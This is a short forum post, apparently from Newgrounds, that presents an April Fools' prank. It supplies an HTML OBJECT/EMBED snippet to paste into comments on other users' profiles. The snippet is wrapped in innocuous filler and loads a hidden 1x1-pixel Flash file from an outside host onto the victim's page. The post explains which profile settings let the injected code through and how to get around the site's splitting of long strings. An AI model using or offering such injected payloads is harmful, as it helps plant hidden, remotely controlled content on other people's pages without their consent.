Hey! If you want to mess with people's profiles on April Fools' Day, just post this in a comment on their page! They have to have HTML enabled, and if it's set so they have to approve comments, then they'll catch it... Otherwise, have fun! And later, you can all laugh about this and take the comment down.
AND MAKE SURE TO OMIT THE SPACES IN THIS CODE! When you post a long string of characters on Newgrounds, it cuts it up. Here it is:

hey...<OBJECT classid="clsid:D27CDB6E-AE6D-11cf-96B8 -444553540000"
codebase="http://active.macromedia.com /flash2/cabs/swflash.cab#version=4,0,0 ,0"
ID=newintro WIDTH=1 HEIGHT=1>
<PARAM NAME=movie VALUE="welcome.swf"> <PARAM NAME=quality VALUE=high> <PARAM NAME=bgcolor VALUE=#000000> <EMBED src="http://spamtheweb.com/ul/upload/0 10408/59466_lololol.swf" quality=high WIDTH=1 HEIGHT=1 TYPE="application/x-shockwave-flash" PLUGINSPAGE="http://www.macromedia.com /shockwave/download/index.cgi?P1_Prod_
Version=ShockwaveFlash"></EMBED>
</OBJECT>.. sup?